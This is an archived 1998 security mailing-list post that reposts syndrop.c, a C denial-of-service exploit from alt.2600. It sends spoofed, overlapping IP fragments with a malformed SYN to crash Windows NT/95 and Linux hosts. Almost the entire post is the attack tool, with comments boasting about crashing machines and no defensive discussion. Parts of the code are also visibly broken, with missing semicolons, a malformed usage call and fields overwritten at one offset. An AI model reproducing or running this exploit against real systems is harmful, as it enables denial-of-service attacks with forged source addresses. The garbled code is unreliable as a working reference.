DOS: Teardrop mixed with a SYN - syndrop.c

From: bluefishat_private
Date: Thu Apr 02 1998 - 07:46:36 PST

  • Next message: SGI Security Coordinator: "Performer API Search Tool 2.2 pfdispaly.cgi Vulnerability"

    Found this in the alt.2600 ng...
    
    /*  syndrop.c
     *  by PineKoan
     *  stomp on M$ SYN sequence bug and the teardrop frag fuckup at same time!
     *  tcp instead of udp
     *
     *  based on: Newtear.c
     *  which was: Copyright (c) 1997 route|daemon9  <routeat_private>
    11.3.97
     *  Linux/NT/95 Overlap frag bug exploit
     *  which was: Based off of:   flip.c by klepto
     *
     *  Compiles on:    Linux, *BSD*
     *  gcc -O2 teardrop.c -o teardrop
     *      OR
     *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    
    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
                            /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0
    */
    #define FIX(n)  (n)
    #else                   /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
    
    #define IP_MF   0x2000  /* More IP fragment en route */
    #define IPH     0x14    /* IP header size */
    #define UDPH    0x8     /* UDP header size */
    #define TCPH    sizeof(struct tcphdr)   /* TCP header */
    #define PADDING 0x14    /* datagram frame padding for first packet */ /* JD
    Chan
    ge pad size to 20 decimal. */
    #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
    #define COUNT   0x11     /* Linux dies with 1, NT is more stalwart and can
                             * withstand maybe 5 or 10 sometimes...  Experiment.
                             * syndrop: gotta hit it at least 8 times.
    overflowing
                             * some static sized buffer.  fools.
                             */
    void usage(u_char *);
    u_long name_resolve(u_char *);
    u_short in_cksum(u_short *, int);
    void send_frags(int, u_long, u_long, u_short, u_short, u_long, u_long);
    
    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        u_long  src_ip = 0, dst_ip = 0;
        u_short src_prt = 0, dst_prt = 0;
        u_long s_start = 0, s_end = 0;
        struct in_addr addr;
    
        fprintf(stderr, "syndrop by PineKoan\n");
    
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            perror("raw socket");
            exit(1);
        }
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one,
    sizeof(one))
            < 0)
        {
            perror("IP_HDRINCL");
            exit(1);
        }
        if (argc < 3) usage(argv[0]);
        if (!(src_ip = name_resolve(argv[1])) || !(dst_ip =
    name_resolve(argv[2])))
        {
            fprintf(stderr, "What the hell kind of IP address is that?\n");
            exit(1);
        }
    
        while ((i = getopt(argc, argv, "s:t:n:S:E:")) != EOF)
        {
            switch (i)
            {
                case 's':               /* source port (should be emphemeral) */
                    src_prt = (u_short)atoi(optarg);
                    break;
                case 't':               /* dest port (DNS, anyone?) */
                    dst_prt = (u_short)atoi(optarg);
                    break;
                case 'n':               /* number to send */
                    count   = atoi(optarg);
                    break;
                case 'S':               /* SYN sequence start */
                    s_start   = atoi(optarg);
                    break;
                case 'E':               /* SYN sequence end */
                    s_end   = atoi(optarg);
                    break;
                default :
                    usage(argv[0]);
                    break;              /* NOTREACHED */
            }
        }
        srandom((unsigned)(time((time_t)0)));
        if (!src_prt) src_prt = (random() % 0xffff);
        if (!dst_prt) dst_prt = (random() % 0xffff);
        if (!count)   count   = COUNT;
    
        fprintf(stderr, "Death on flaxen wings:\n");
        addr.s_addr = src_ip;
        fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
        addr.s_addr = dst_ip;
        fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
        fprintf(stderr, " Amt: %5d\n", count);
        fprintf(stderr, "[ ");
        for (i = 0; i < count; i++)
        {
            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt, s_start,
    s_end);
            fprintf(stderr, "b00m ");
            usleep(500);
        }
        fprintf(stderr, "]\n");
        return (0);
    }
    
    /*
     *  Send two IP fragments with pathological offsets.  We use an
    implementation
     *  independent way of assembling network packets that does not rely on any
    of
     *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
     */
    void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                    u_short dst_prt, u_long seq1, u_long seq2)
    {
        u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
        u_char byte;                            /* a byte */
        struct sockaddr_in sin;                 /* socket protocol structure */
    
        sin.sin_family      = AF_INET;
        sin.sin_port        = src_prt;
        sin.sin_addr.s_addr = dst_ip;
    
        /*
         * Grab some memory for our packet, align p_ptr to point at the beginning
         * of our packet, and then fill it with zeros.
         */
        packet = (u_char *)malloc(IPH + UDPH + PADDING);
        p_ptr  = packet;
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING); // Set it all to zero
    
        byte = 0x45;                        /* IP version and header length */
        memcpy(p_ptr, &byte, sizeof(u_char));
        p_ptr += 2;                         /* IP TOS (skipped) */
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(242);   /* IP id */
        p_ptr += 2;
        *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
        p_ptr += 2;
        *((u_short *)p_ptr) = 0x40;         /* IP TTL */
        byte = IPPROTO_TCP;
        memcpy(p_ptr + 1, &byte, sizeof(u_char));
        p_ptr += 4;                         /* IP checksum filled in by kernel */
        *((u_long *)p_ptr) = src_ip;        /* IP source address */
        p_ptr += 4;
        *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(src_prt);       /* TCP source port */
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(dst_prt);       /* TCP destination port */
        p_ptr += 2;
        *((u_long *)p_ptr) = seq1;          /* TCP sequence # */
        p_ptr += 4;
        *((u_long *)p_ptr) = 0;             /* ack */
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(8 + PADDING*2);   /* TCP data offset */ /*
    Incre
    ases TCP total length to 48 bytes Which is too big! */
        p_ptr += 2;
        *((u_char *)p_ptr) = TH_SYN;        /* flags: mark SYN */
        p_ptr += 1;
        *((u_short *)p_ptr) = seq2-seq1;    /* window */
        *((u_short *)p_ptr) = 0x44          /* checksum : this is magic value for
    NT
    , W95.  dissasemble M$ C++ to see why, if you have time  */
        *((u_short *)p_ptr) = 0;            /* urgent */
    
        if (sendto(sock, packet, IPH + TCPH + PADDING, 0, (struct sockaddr
    *)&sin,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\nsendto");
            free(packet);
            exit(1);
        }
    
        /*  We set the fragment offset to be inside of the previous packet's
         *  payload (it overlaps inside the previous packet) but do not include
         *  enough payload to cover complete the datagram.  Just the header will
         *  do, but to crash NT/95 machines, a bit larger of packet seems to work
         *  better.
         */
        p_ptr = &packet[2];         /* IP total length is 2 bytes into the header
    */
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        p_ptr += 4;                 /* IP offset is 6 bytes into the header */
        *((u_short *)p_ptr) = FIX(MAGIC);
        p_ptr = &packet[24];        /* hop in to the sequence again... */
        *((u_long *)p_ptr) = seq2;          /* TCP sequence # */
    
        if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                    sizeof(struct sockaddr)) == -1)
        {
            perror("\nsendto");
            free(packet);
            exit(1);
        }
        free(packet);
    }
    
    u_long name_resolve(u_char *host_name)
    {
        struct in_addr addr;
        struct hostent *host_ent;
    
        if ((addr.s_addr = inet_addr(host_name)) == -1)
        {
            if (!(host_ent = gethostbyname(host_name))) return (0);
            bcopy(host_ent->h_addr, (char *)&amp;addr.s_addr,
    host_ent-&gt;h_length)
    ;
        }
        return (addr.s_addr);
    }
    
    void usage(u_char *name)
    {
        fprintf(stderr,
                "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]
    ",
                name);
        fprintf(stderr,
                "[ -S sequence_start] [ -E sequence_end ]\n",
        exit(0);
    }
    
    
    
    
    
    Bluefish!
    
     Icq: 611251
     http://11a.home.ml.org
     http://bluefish.home.ml.org
    
     Proud member of the #SkAS#:
     Skuld Appreciation Society - the Goddess of Debuggers!
     http://www.luc.ac.be/~ef00/skas
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:47:45 PDT